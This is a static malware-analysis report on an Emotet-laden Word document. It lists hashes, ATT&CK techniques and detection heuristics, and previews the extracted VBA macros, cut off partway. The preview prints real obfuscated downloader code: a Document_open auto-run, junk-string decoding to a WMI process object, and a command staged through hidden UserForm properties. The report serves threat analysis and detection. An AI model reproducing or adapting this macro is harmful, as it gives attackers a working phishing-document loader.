Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a54bda2dc54a2452…

MALICIOUS

Office (OLE)

228.5 KB Created: 2020-08-17 06:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 6e50adbc232630babf458091c789897f SHA-1: cb0cbb03f5fdef8e7d1efd1469261809031969d7 SHA-256: a54bda2dc54a2452cf3b7fedadf401220de17ba252219ab8902fdfe8ed7940d5
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are hallmarks of Emotet. The ClamAV detection explicitly names Emotet. The VBA code is designed to execute a payload, likely by downloading it from a remote source, which is consistent with Emotet's behavior as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9369779-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9369779-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10331 bytes
SHA-256: 11f09278a10dbeb8c3203c832ccf4328bff618ca7278c24598ef4be14206aaf2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "I9i2h8j9dskil"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Sqe5e6e3ig2r_424rj.Fq6mrihs69kl5
End Sub


Attribute VB_Name = "Sqe5e6e3ig2r_424rj"
Attribute VB_Base = "0{8F10FB9A-1712-48E7-B86F-31021C25B161}{560312DE-CD1F-4EF0-84D6-25761BB89137}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Fq6mrihs69kl5()
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Wypthc02toeptbb6z_ = Sqe5e6e3ig2r_424rj.HelpContextId + 100
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Nwztskshg23dl8 = ChrW(Wypthc02toeptbb6z_ + (100 + 35) / 9)
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Gp8tdqay8ly0 = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Nwztskshg23dl8 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Sqe5e6e3ig2r_424rj.Nsd1wcn6zqcd9e + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Qd2m1aeerbwpyii = Qaih2p5q43tsk9(Gp8tdqay8ly0)
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Set D3nmjncdm_3i5v = CreateObject(Qd2m1aeerbwpyii)
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End If
P_zruoaj9u462eqecv = "KAjamLNcTV"
Wegcau2mn8qu3i = 623691
R6pnuta59ge55tn7 = R6pnuta59ge55tn7 & CStr(Wegcau2mn8qu3i)
Wu9lktvzf46sq_m = R6pnuta59ge55tn7
Shj6hjgk403pqwwi7 = Sqe5e6e3ig2r_424rj.Qm3ieezyr608w6wrc5.ControlTipText
   If 791639 <> 777579 Then
Fnnzf1g1l667yyu = 791639 + 1989
P_zruoaj9u462eqecv = 777579 - 2013
Else
InputBox (CStr(Fnnzf1g1l667yyu) & CStr(P_zruoaj9u462eqecv))
End
... (truncated)